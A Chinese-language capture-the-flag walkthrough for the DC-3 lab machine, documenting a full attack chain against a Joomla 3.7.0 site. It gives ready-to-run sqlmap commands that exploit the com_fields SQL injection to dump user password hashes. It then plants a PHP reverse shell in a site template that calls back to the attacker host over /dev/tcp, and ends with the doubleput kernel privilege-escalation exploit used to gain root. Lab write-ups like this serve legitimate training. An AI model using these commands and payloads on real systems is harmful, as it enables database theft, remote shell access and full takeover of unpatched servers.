一、搭建环境
-
解压靶机得到一个.ova文件
-
利用虚拟机打开文件,将网卡设置成NAT模式,启动虚拟机
二、渗透过程
-
利用nmap扫描DC-3的IP地址
nmap -sP 192.168.XX.0/24
在使用arp-scan扫描一下
arp-scan -l -I eth1
-
对主机进一步扫描端口服务,开放了80端口
访问80端口
(这一次,只有一面旗帜,一个切入点,没有任何线索。
要获得标志,显然必须获得root权限。
你如何成为根取决于你——当然,也取决于系统。
祝你好运,我希望你喜欢这个小小的挑战)
在看看网站其他信息,看到网站CMS是Joomla
-
漏洞扫描一下CMS
joomscan --url http://192.168.88.167
在尝试目录扫描一下对比一下
dirsearch -u http://192.168.88.167
访问发现是个后台网页
-
进入msf找一下漏洞,尝试使用该漏洞打,发现没成功
使用searchsploit,可以看到第一个也是SQL注入
searchsploit joomla 3.7.0
查看一下这个文本
searchsploit -x php/webapps/42033.txt
sqlmap -u "http://192.168.88.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
进一步爆表
sqlmap -u "http://192.168.88.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
进一步爆字段
sqlmap -u "http://192.168.88.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#_users" --columns -p list[fullordering]
爆数据
sqlmap -u "http://192.168.88.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,username,password" --dump -p list[fullordering]
将密码的hash值保存在pw.txt里
使用jhon进行暴力解密,snoopy
-
拿着账户和密码登入进去
在这个目录下面发现好像是网页的模板
-
在网页模板这里尝试写一个反弹shell(考虑到这种题都需要提权,就不用一句话木马了)
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.88.147/4444 0>&1' ");
?>
#这里为kali地址
接下找到写的反弹shell的路径,我先是扫描了一遍目录,大致路径为/templates/beez3/html/shell.php
-
写好以后使用kali监听,然后浏览器在访问一下/templates/beez3/html/shell.php文件
nc -lvvp 4444
-
查看系统版本发现是Ubuntu16.04
cat /etc/issue
使用searchsploit搜索一下漏洞
选择39772这个,查看完整路径
searchsploit -p 39772.txt
拷贝到当前目录
看到需要下载一个zip包,复制链接进行下载
将这个包上传到DC-3主机中,在同一网段下直接开一个http服务
在DC-3主机里面下载,下载成功,然后解压文件
我们需要使用exploit.tar这个压缩包,所有进入目录解压
进入目录,运行下面命令,可以看到提权成功,为了方便做一个交互shell
./compile.sh #执行脚本,编译文件
./doubleput #执行提权文件
python -c 'import pty;pty.spawn("/bin/bash")' (做一个交互shell,如果是交互界面就不用了)
-
查找最后一个flag